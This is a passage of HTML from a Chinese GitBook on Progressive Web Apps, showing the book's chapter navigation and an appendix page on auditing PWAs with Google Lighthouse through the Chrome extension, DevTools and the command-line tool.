href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.11.1\" data-path=\"1-lighthouse.html\">\n            \n                <a href=\"1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"2-lighthouse-score-guide.html\">\n            \n                <a href=\"2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"3-lighthouse-case.html\">\n            \n                <a href=\"3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1 使用 Lighthouse 测评 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><b></b>&#x4F7F;&#x7528; Lighthouse &#x6D4B;&#x8BC4; PWA</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;&#x5165;&#x95E8;\"><b></b>&#x4F7F;&#x7528;&#x5165;&#x95E8;</a></li><li><span class=\"title-icon \"></span><a href=\"#chrome-&#x63D2;&#x4EF6;\"><b></b>Chrome &#x63D2;&#x4EF6;</a></li><li><span class=\"title-icon \"></span><a href=\"#chrome-devtools\"><b></b>Chrome DevTools</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\"><b></b>&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;Lighthouse CLI&#xFF09;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528;-lighthouse\"><b></b>&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x4F7F;&#x7528; Lighthouse</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;\"><b></b>&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><a name=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; Lighthouse &#x6D4B;&#x8BC4; PWA</h2>\n<p>Lighthouse &#x662F; Google Chrome &#x63A8;&#x51FA;&#x7684;&#x4E00;&#x4E2A;&#x5F00;&#x6E90;&#x81EA;&#x52A8;&#x5316;&#x5DE5;&#x5177;&#xFF0C;&#x80FD;&#x591F;&#x5BF9; PWA &#x591A;&#x65B9;&#x9762;&#x7684;&#x6548;&#x679C;&#x6307;&#x6807;&#x8FDB;&#x884C;&#x8BC4;&#x6D4B;&#xFF0C;&#x5E76;&#x7ED9;&#x51FA;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x7684;&#x5EFA;&#x8BAE;&#x4EE5;&#x5E2E;&#x52A9;&#x5F00;&#x53D1;&#x8005;&#x6539;&#x8FDB; PWA &#x7684;&#x8D28;&#x91CF;&#x3002;&#x5B83;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x4E5F;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x8981;&#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x8981;&#x6D4B;&#x8BC4;&#x7684;&#x7F51;&#x5740;&#xFF0C;&#x5B83;&#x5C06;&#x9488;&#x5BF9;&#x6B64;&#x9875;&#x9762;&#x8FD0;&#x884C;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x6D4B;&#x8BD5;&#xFF0C;&#x7136;&#x540E;&#x751F;&#x6210;&#x4E00;&#x4E2A;&#x6709;&#x5173;&#x9875;&#x9762;&#x6027;&#x80FD;&#x7684;&#x62A5;&#x544A;&#x3002;&#x901A;&#x8FC7;&#x62A5;&#x544A;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x77E5;&#x9053;&#x9700;&#x8981;&#x91C7;&#x53D6;&#x54EA;&#x4E9B;&#x63AA;&#x65BD;&#x6765;&#x6539;&#x8FDB;&#x5E94;&#x7528;&#x7684;&#x6027;&#x80FD;&#x548C;&#x4F53;&#x9A8C;&#x3002;</p>\n<h3 id=\"&#x4F7F;&#x7528;&#x5165;&#x95E8;\"><a name=\"&#x4F7F;&#x7528;&#x5165;&#x95E8;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;&#x5165;&#x95E8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;&#x5165;&#x95E8;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;&#x5165;&#x95E8;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528;&#x5165;&#x95E8;</h3>\n<p>&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x7684;&#x9002;&#x7528;&#x573A;&#x666F;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x591A;&#x79CD;&#x65B9;&#x5F0F;&#x6765;&#x5B89;&#x88C5;&#x5E76;&#x4F7F;&#x7528; Lighthouse&#xFF1A;</p>\n<ul>\n<li>Chrome &#x6D4F;&#x89C8;&#x5668;&#x63D2;&#x4EF6;&#x3002;Chrome &#x63D2;&#x4EF6;&#x7684;&#x5F62;&#x5F0F;&#x63D0;&#x4F9B;&#x4E86;&#x66F4;&#x52A0;&#x53CB;&#x597D;&#x7684;&#x7528;&#x6237;&#x754C;&#x9762;&#xFF0C;&#x65B9;&#x4FBF;&#x8BFB;&#x53D6;&#x62A5;&#x544A;&#x3002;</li>\n<li>Chrome DevTools&#x3002;&#x8BE5;&#x5DE5;&#x5177;&#x96C6;&#x6210;&#x5728;&#x6700;&#x65B0;&#x7248;&#x672C;&#x7684; Chrome &#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#xFF0C;&#x65E0;&#x9700;&#x5B89;&#x88C5;&#x5373;&#x53EF;&#x4F7F;&#x7528;&#x3002;</li>\n<li>Lighthouse CLI &#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x3002;&#x65B9;&#x4FBF;&#x5C06; Lighthouse &#x96C6;&#x6210;&#x5230;&#x6301;&#x7EED;&#x96C6;&#x6210;&#x7CFB;&#x7EDF;&#x4E2D;&#x3002;</li>\n<li>&#x7F16;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x3002;&#x6211;&#x4EEC;&#x4E5F;&#x80FD;&#x901A;&#x8FC7; Node.js &#x6A21;&#x5757;&#x5F15;&#x5165; Lighthouse &#x5DE5;&#x5177;&#x5305;&#xFF0C;&#x4EE5;&#x7F16;&#x7A0B;&#x7684;&#x5F62;&#x5F0F;&#x6765;&#x4F7F;&#x7528;&#x5B83;&#x3002;</li>\n</ul>\n<p>&#x4E0B;&#x9762;&#x6211;&#x4EEC;&#x4F9D;&#x6B21;&#x4ECB;&#x7ECD;&#x4E0A;&#x8FF0;&#x8FD9;&#x51E0;&#x79CD;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x3002;</p>\n<h3 id=\"chrome-&#x63D2;&#x4EF6;\"><a name=\"chrome-&#x63D2;&#x4EF6;\" class=\"anchor-navigation-ex-anchor\" href=\"#chrome-&#x63D2;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"chrome-&#x63D2;&#x4EF6;\" class=\"plugin-anchor\" href=\"#chrome-&#x63D2;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Chrome &#x63D2;&#x4EF6;</h3>\n<p>&#x4E0B;&#x8F7D; Google Chrome 52 &#x6216;&#x66F4;&#x9AD8;&#x7248;&#x672C;&#xFF0C;&#x5E76;&#x5B89;&#x88C5; <a href=\"https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk\" target=\"_blank\">Ligthouse Chrome &#x63D2;&#x4EF6;</a>&#x3002;&#x6253;&#x5F00;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x6D4B;&#x8BC4;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x5E76;&#x70B9;&#x51FB; Chrome &#x5DE5;&#x5177;&#x680F;&#x4E0A;&#x7684; Lighthouse &#x56FE;&#x6807;&#x5982;&#x4E0B;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/icon.png\" alt=\"icon\"></p>\n<p>&#x5982;&#x679C;&#x5728;&#x5DE5;&#x5177;&#x680F;&#x4E0A;&#x6CA1;&#x6709;&#x770B;&#x5230;&#x6B64;&#x56FE;&#x6807;&#xFF0C;&#x5B83;&#x53EF;&#x80FD;&#x9690;&#x85CF;&#x5728; Chrome &#x7684;&#x4E3B;&#x83DC;&#x5355;&#x4E2D;&#x3002;&#x70B9;&#x51FB;&#x6B64;&#x56FE;&#x6807;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x770B;&#x5230;&#x4E00;&#x4E2A;&#x5C55;&#x5F00;&#x83DC;&#x5355;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;</p>\n<p><img src=\"img/chrome_extensions.png\" alt=\"menu\"></p>\n<p>&#x5728; <code>Options</code> &#x9009;&#x9879;&#x91CC;&#xFF0C;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x9700;&#x8981;&#x7684;&#x6D4B;&#x8BC4;&#x9879;&#xFF0C;&#x5305;&#x62EC;&#x6027;&#x80FD;&#x3001;&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#x6027;&#x3001;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#x3001;SEO&#x3001;PWA&#xFF0C;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x9009;&#x62E9;&#x5168;&#x90E8;&#x5373;&#x53EF;&#x3002;</p>\n<p><img src=\"img/ext_panel.png\" alt=\"menu\"></p>\n<p>&#x70B9;&#x51FB; Generate report &#x6309;&#x94AE;&#x4EE5;&#x9488;&#x5BF9;&#x5F53;&#x524D;&#x6253;&#x5F00;&#x7684;&#x9875;&#x9762;&#x8FD0;&#x884C; Lighthouse &#x6D4B;&#x8BD5;&#x3002;</p>\n<p>&#x5728;&#x5B8C;&#x6210;&#x6D4B;&#x8BC4;&#x540E;&#xFF0C;Lighthouse &#x5C06;&#x6253;&#x5F00;&#x4E00;&#x4E2A;&#x65B0;&#x6807;&#x7B7E;&#xFF0C;&#x5E76;&#x5728;&#x9875;&#x9762;&#x7684;&#x7ED3;&#x679C;&#x4E0A;&#x663E;&#x793A;&#x4E00;&#x4E2A;&#x62A5;&#x544A;&#x3002;</p>\n<p><img src=\"img/report_result.png\" alt=\"report\"></p>\n<p>&#x5728;&#x8FD9;&#x91CC;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x80FD;&#x770B;&#x5230;&#x5173;&#x4E8E; PWA, Performance, Accessibility, Best Practices &#x56DB;&#x4E2A;&#x65B9;&#x9762;&#x5B58;&#x5728;&#x7684;&#x95EE;&#x9898;&#x4EE5;&#x53CA;&#x76F8;&#x5173;&#x5EFA;&#x8BAE;&#x3002;&#x6839;&#x636E;&#x8FD9;&#x4E9B;&#x53BB;&#x4F18;&#x5316;&#x4F60;&#x7684;&#x7AD9;&#x70B9;&#x5427;&#xFF01;</p>\n<h3 id=\"chrome-devtools\"><a name=\"chrome-devtools\" class=\"anchor-navigation-ex-anchor\" href=\"#chrome-devtools\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"chrome-devtools\" class=\"plugin-anchor\" href=\"#chrome-devtools\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Chrome DevTools</h3>\n<p>&#x5728;&#x6700;&#x65B0;&#x7248;&#x672C;&#x7684; Chrome &#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#xFF0C;Lighthouse &#x5DF2;&#x7ECF;&#x76F4;&#x63A5;&#x96C6;&#x6210;&#x5230;&#x4E86;&#x8C03;&#x8BD5;&#x5DE5;&#x5177; DevTools &#x4E2D;&#x4E86;&#xFF0C;&#x56E0;&#x6B64;&#x4E0D;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x4EFB;&#x4F55;&#x5B89;&#x88C5;&#x6216;&#x4E0B;&#x8F7D;&#x3002;&#x6211;&#x4EEC;&#x5148;&#x6253;&#x5F00;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x6253;&#x5F00; Chrome DevTools&#xFF0C;&#x9009;&#x62E9; <code>Audits</code> &#x9762;&#x677F;&#xFF0C;&#x5C31;&#x80FD;&#x770B;&#x5230; Lighthouse &#x5DE5;&#x5177;&#x7684;&#x4E00;&#x4E9B;&#x914D;&#x7F6E;&#x9009;&#x9879;&#xFF0C;&#x9009;&#x62E9;&#x9700;&#x8981;&#x7684;&#x914D;&#x7F6E;&#x540E;&#xFF0C;&#x70B9;&#x51FB; <code>Run audits</code>&#xFF0C;&#x5DE5;&#x5177;&#x5C31;&#x4F1A;&#x5BF9;&#x5F53;&#x524D;&#x9875;&#x9762;&#x8FDB;&#x884C;&#x6027;&#x80FD;&#x7684;&#x6D4B;&#x8BC4;&#x3002;</p>\n<p><img src=\"img/dev_tool.png\" alt=\"menu\"></p>\n<h3 id=\"&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\"><a name=\"&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;lighthouse-cli&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#xFF08;Lighthouse CLI&#xFF09;</h3>\n<p>&#x4E0A;&#x8FF0;&#x4E24;&#x79CD;&#x5DE5;&#x5177;&#x63D0;&#x4F9B;&#x4E86;&#x8F83;&#x4E3A;&#x57FA;&#x7840;&#x3001;&#x5FEB;&#x6377;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#xFF0C;&#x9488;&#x5BF9;&#x8FDB;&#x9636;&#x7684;&#x9AD8;&#x7EA7;&#x5F00;&#x53D1;&#x8005;&#xFF0C;Lighthouse &#x7684;&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x66F4;&#x4E3A;&#x5408;&#x9002;&#x3002;&#x5B83;&#x63D0;&#x4F9B;&#x4E86;&#x591A;&#x79CD;&#x8BE6;&#x7EC6;&#x7684;&#x4F7F;&#x7528;&#x53C2;&#x6570;&#xFF0C;&#x901A;&#x8FC7;&#x53C2;&#x6570;&#x7684;&#x914D;&#x7F6E;&#xFF0C;&#x80FD;&#x591F;&#x66F4;&#x7075;&#x6D3B;&#x5730;&#x8FDB;&#x884C;&#x6D4B;&#x8BC4;&#x5E76;&#x8F93;&#x51FA;&#x62A5;&#x544A;&#x7ED3;&#x679C;&#x3002;&#x6B64;&#x5916;&#xFF0C;&#x5728;&#x4E00;&#x4E9B;&#x81EA;&#x52A8;&#x5316;&#x7684;&#x6301;&#x7EED;&#x96C6;&#x6210;&#x573A;&#x666F;&#x4E2D;&#xFF0C;&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x663E;&#x5F97;&#x5341;&#x5206;&#x6709;&#x7528;&#x3002;</p>\n<h4 id=\"&#x5B89;&#x88C5;\"><a name=\"&#x5B89;&#x88C5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5B89;&#x88C5;\" class=\"plugin-anchor\" href=\"#&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5B89;&#x88C5;</h4>\n<p>&#x5B89;&#x88C5; <a href=\"https://nodejs.org/zh-cn/download/\" target=\"_blank\">Node</a>&#xFF0C;&#x9700;&#x8981; Node 8 LTS(8.9) &#x53CA;&#x4EE5;&#x4E0A;&#x7248;&#x672C;&#x3002;</p>\n<p>&#x4EE5;&#x5168;&#x5C40;&#x65B9;&#x5F0F;&#x5B89;&#x88C5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\"><span class=\"token function\">npm</span> <span class=\"token function\">install</span> -g lighthouse\n<span class=\"token comment\"># or use yarn:</span>\n<span class=\"token comment\"># yarn global add lighthouse</span>\n</code></pre>\n<h4 id=\"&#x8FD0;&#x884C;-cli\"><a name=\"&#x8FD0;&#x884C;-cli\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8FD0;&#x884C;-cli\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8FD0;&#x884C;-cli\" class=\"plugin-anchor\" href=\"#&#x8FD0;&#x884C;-cli\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8FD0;&#x884C; CLI</h4>\n<p>&#x9488;&#x5BF9;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x8FD0;&#x884C; <code>lighthouse</code> &#x547D;&#x4EE4;&#xFF0C;&#x8FDB;&#x884C;&#x6D4B;&#x8BC4;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">lighthouse https://www.example.com/\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\nCLI &#x76F8;&#x8F83;&#x4E8E;&#x63D2;&#x4EF6;&#x548C; DevTools &#x5B58;&#x5728;&#x4E00;&#x4E9B;&#x5C1A;&#x672A;&#x4FEE;&#x590D;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6BD4;&#x5982;&#x5BF9; Ubuntu &#x7CFB;&#x7EDF;&#x652F;&#x6301;&#x4E0D;&#x597D;&#xFF0C;&#x4F1A;&#x629B; NO_FCP &#x7684;&#x9519;&#x8BEF;&#x3002;&#x5BF9;&#x4E8E;&#x67D0;&#x4E9B;&#x7F51;&#x7AD9;&#x652F;&#x6301;&#x4E0D;&#x597D;&#xFF0C;&#x8FD9;&#x4E9B;&#x7F51;&#x7AD9;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x4EE5;&#x4E0B;&#x7279;&#x5F81;&#x5BFC;&#x81F4; NO_FCP 